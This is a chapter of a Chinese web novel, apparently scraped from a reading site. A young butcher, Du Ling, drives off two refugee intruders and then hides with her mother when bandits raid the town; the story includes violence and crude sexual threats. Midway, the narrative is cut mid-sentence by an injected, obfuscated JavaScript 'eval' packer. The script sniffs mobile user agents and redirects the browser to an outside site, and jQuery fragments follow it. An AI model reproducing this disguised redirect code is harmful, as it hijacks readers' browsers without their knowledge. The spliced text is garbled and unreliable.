2. 土匪

作品:《我有一把杀猪刀

    今夜的月亮被云层遮掩了大半,叫人在本就黑暗的夜里更加难以视物。


    杜家的院门比起一般人家里的都要高,这是因着杜玲小时候庆镇拍花子多的很,好几户人家丢了孩子,杜父杜母合计了一下,掏了一笔积蓄出来修了当时在镇上甚至能排得上名号的高墙。


    围墙的用料不算很好,但也不是什么差料子,这么多年来帮杜家挡住了许多潜在的危险。


    不说别的,就这段时间流民来杜家闹事,就有一大半都被这高墙挡了回去。


    夜色掩映下,两道人影在东边的围墙上摸索着什么。


    “大哥,老赖头前些天刚给这家的夜叉打折了腿,这可不是什么善茬,咱们还是换一家吧。”矮一些也瘦弱一些的身影说到。


    “娘们兮兮的,再啰嗦我先赏你两巴掌。”


    另一个高大些的男人瞪着布满血丝的双眼,冲那人扬了扬自己的大手,声音凶狠。


    “那老赖头都饿了五六天了,一肚子的观音土,能爬上这墙都是老天开眼了。”


    男人粗声粗气的冷笑一声。


    “凑巧给这婊子抓了,那腿指不定是打的还是自己跳墙摔得呢。”


    男人一边找着墙上砖石间的空隙,好作为落脚点,一边说着:“这家是肉铺,东西肯定比别家肥,咱们摸进去先把那贱人绑了,再找寻摸点东西填肚子。”


    “等祭过五脏府,再叫那贱人开开荤,用咱们这男人味给她的死猪味驱驱。”


    这俩兄弟是一路从北疆逃过来的,吃尽了苦头,本来想着离胡蛮子远远的总能活下去,谁知道这老天竟是真不给人一点活路。北疆七座城池,除了没来得及逃出来的,剩下能走能跑的都往周边逃难,这么多张嘴,哪个城、哪个镇能喂的饱?


    沿路的城镇拒不开门,北疆遍地横尸,饿死病死的数不胜数。


    也就他们两个年轻力壮,跑的远些,这才进了庆镇,但也是饿的只剩皮包骨头了。


    男人是个有主意的,心也够狠,不然也没法带着他胆小的兄弟活到现在。


    “大哥说的是,说不准那老赖头自己摔了丢脸,才说是给人小姑娘打的。”


    兄弟俩讲话的功夫,男人已经找到合适的位置,攀了一大半的墙,只差一点就能翻进去。


    男人一脚踹在小弟肩头,把人踹个踉跄。


    “少他妈的叽歪了,过来帮忙。”


    瘦弱些的连忙走近些,叫男人能借着自己的身体翻进去。


    却没想到男人突然痛呼一声,捂着胳膊从墙上摔了下来,带着他一同摔倒在地。


    后背狠狠磕在地上,痛的他半天缓不过来。


    只见高高的墙头上,一个穿着土布衣裳的姑娘坐在那,手里拿着一根长棍,正冷冷的盯他们。


    杜玲前会下手并没有用太大劲儿,因此男人只是手臂疼痛难忍,但不至于影响行动,他摔下来时有弟弟给垫背,这会也缓了过来。


    和不明情况的小弟不一样,他是亲眼看着杜玲翻到墙头,然后一棍子敲到自己手上的。


    当下嘴里就不干不净的骂起来。


    “好你个贱人,看老子等会怎么收拾你。”


    男人气急败坏的爬站起来,却碍着高墙和杜玲手里的长棍没法近身,气的整张脸涨的发紫。


    小弟这会也爬起来了,知道今晚的行动是不成了,怕自家大哥气头上把周边邻居喊起来,连忙拉着男人的胳膊往外跑。


    “等会该来人了,先走先走。”


    男人总归还是有点脑子,又小贱人、婊子的骂了几句,还是跟着小弟往外跑了,只留下怨毒的眼神像蛇一般狠狠钉在杜玲的脑海中。


    男人骂的这些话杜玲这几年已经听的耳朵快起茧子了,激不起她心里半分波澜。


    在墙头上又站了一会儿,见目光所及之处没什么异常,杜玲便准备回房歇息。


    然而就是这一错眼的功夫,南边的镇子入口处却星星点点的亮起了不明的光。


    杜玲猛地回身,心脏剧烈跳动的频率叫她耳边都仿佛响起来声音。


    杜玲五感比常人好一些,从前路过的镖师都会夸她是个练武的好苗子。


    只不过这句话的后面总会跟一句可惜是个女娃。


    她眯着眼睛,想看的更仔细些。


    杜家的房子在镇子中心偏北边的位置,距离镇子入口有一定距离,因此一时半会看不清到底是什么东西发出的光亮。


    但是伴着光亮四散进入庆镇,撕裂黑夜的尖叫与哀嚎声让她知道了那光是什么——


    是匪。


    ————


    杜大娘一向觉浅,耳边隐隐约约的嘈杂声叫她心下烦乱。


    因此杜玲一踏进房门,就看见她披外裳的身影。


    “玲儿,外面是出什么事了?怎么吵吵闹闹的。”


    杜大娘眼睛不太好,黑夜里看不清,也就没注意到女儿发白的面色和慌乱的神情。


    杜玲没见识过匪盗,流民也是这些日子才接触过,纵使她再怎么胆大,也不过是比其他女孩多杀了几头猪。


    在乡下,会杀鸡杀鸭杀鱼的姑娘多了去了,说难听点,猪也就是大只些的家畜。


    杜玲是比一般姑娘甚至部分汉子胆子更大,她不怕夜里上门骚扰的流民,但却害怕匪盗。


    流民总归是民,再怎么出乱子也就是想活命,只要数量的当,每家每户捏着鼻子吃点亏总能把局面安稳下来,但土匪不一样,可不是分点银钱粮食就能打发的。


    钱、酒肉、女人、百姓的惧怕与臣服,都是他们想要且难以被满足的。


    杜玲怕得很,怕到双手发抖,浑身僵硬。


    她怕死,更怕自己护不住杜大娘。


    所以意识到自己在害怕后,杜玲狠狠给了自己一巴掌。


    她的力气很大,一部分是天生的,一部分缘于这几年的经历。


    嘴角撕裂的疼痛让她混沌发烫的脑子稍微冷却了一点。


    刚才从墙上翻下来的时候,她看到一部分匪徒略过镇子外侧,径直往中央来了。


    逃是来不及了,只能先躲起来。外公说过、除了穷凶极恶故意向官府示威的,土匪们一般抢够了东西就会离开,不会在村镇里停留驻扎。


    杜玲不知道外公说的对不对,也不知道这些土匪是不是外公说的那一类,她从墙上下来时心里只想着拿刀、找娘。


    眼下两件事情都办成了,杜玲一把将杜大娘抱下地,又催促着对方趴到自己的背上。


    “前头声音不对劲,咱们先躲起来。”


    怕杜大娘被吓着,杜玲没有把事情说清楚,但四周逐渐清晰起来的混乱声响,已经叫杜大娘心里有了答案。


    她不再多说什么,将衣裳紧紧打了两个死结后趴到了杜玲的背上。


    不比男子宽厚的脊背牢牢承载住了她的重量。


    杜玲背着娘,目标明确的往院子里的水


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551793|171258||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    井跑去。


    ————


    如果有一天土匪真的突然杀进来该怎么办?


    杜玲这些日子一直在想这个问题,自打杜父去世后,她就习惯了做好一切最坏情况的打算。


    而眼下的情形,证明了她每夜的难眠都是有意义的。


    杜玲蜷缩在猪食槽里,浸泡在难闻、肮脏的泔水中。


    杜家是不养猪的,平日里宰杀的猪都是从离庆镇十多里地的远水村一户人家那里进的货。


    进一次货来回要花小一日功夫,因此杜家以往都是一批拉三四头猪回来,当天没宰杀的暂时养在院子。


    杜玲这几年着实是苦过来的,虽说屠夫大多人高马大、膀大腰圆的,但她却比同龄的姑娘们更单薄些。再加上这猪石槽是杜父当年自己拿了起房子留下的大青石辛苦了两个月挖出来的,比一般人家的要大、深不少。藏个她,还是没什么问题的。


    唯一的不足就是想完全不漏踪迹就得将口鼻也浸入泔水之中。


    为着心安,杜玲这半个月来每天夜里都会练习闭气半个时辰,只要歹人不是一直站在石槽边上,她就有信心不被发现。


    耳边传来男人沉重脚步逐渐远去的声音,杜玲在心里描绘着对方的行进路线,估摸着对方往灶房去了。


    脏污里,她将眼睛缓缓睁开,一阵灼烧感瞬间传来,杜玲疼的身子僵了一瞬,但马上又强迫着自己放松下来。眼泪无声的汇入泔水之中,杜玲缓慢的将眼睛贴近水面,看向院内。


    如她所推测的一般,闯进杜家的那个匪盗此刻正在灶房里翻找着,碗盆砸到地上的声音格外清晰。


    这次来的土匪数量大概不多,没有到一家挤进好几个的地步,至少从这个匪盗进来到现在的半炷香时间里,杜玲还没看到第二个匪。


    视线在灶房里那个壮硕的背影上停留了一瞬,杜玲转向院子角落的水井处。


    一根麻绳吊着打水的水桶缀在井里,院子里没风,麻绳也安静的竖着。


    杜玲心下稍安。


    又过了一会儿,那土匪拎着鼓囊囊的布袋子从灶房走出来,往杜玲的房里走去。


    杜玲的房间只有一张床、一个箱笼和一把旧木桌,没有寻常姑娘家那些头花、香油或是腻子,倒真看不出是个女儿闺房。


    王大谷将手里装着米面油粮的布袋子随意搁在桌上,将床上的被褥、箱笼里的衣服全都翻扯出来。


    没翻到自己想要的钱财,他不耐烦的将手上的东西扔到地上。


    “啧,墙修这么高,银子没见到一个,就摸了几枚铜子,什么破落户,比爷爷我还穷。”


    箱笼里没几件衣服,王大谷翻到最底下也没见着什么值钱的东西,倒是翻出一条颜色粉嫩的裙子来。


    “这是送相好的?”


    见这房里的模样,王大谷以为这家是个老寡妇带着小子讨生活,半点没想到这裙子是房间主人的。


    他将自己遍布脏污的脸庞埋到裙子里,深深的吸了口气。


    “真他奶的香啊...可惜了,一路过来居然没抓着个小娘皮,也不知道老三那边收获怎么样。”


    将裙子放到□□摩挲了两下,王大谷将裙子单独放到一旁,准备跟布袋子一起带回去。


    目光所及之处没什么东西可翻的了,王大谷又低下身子去摸地上的砖块,看有没有哪一块不一样的。


    还没等他摸明白,一阵女人的哭喊声吸引了他的注意力。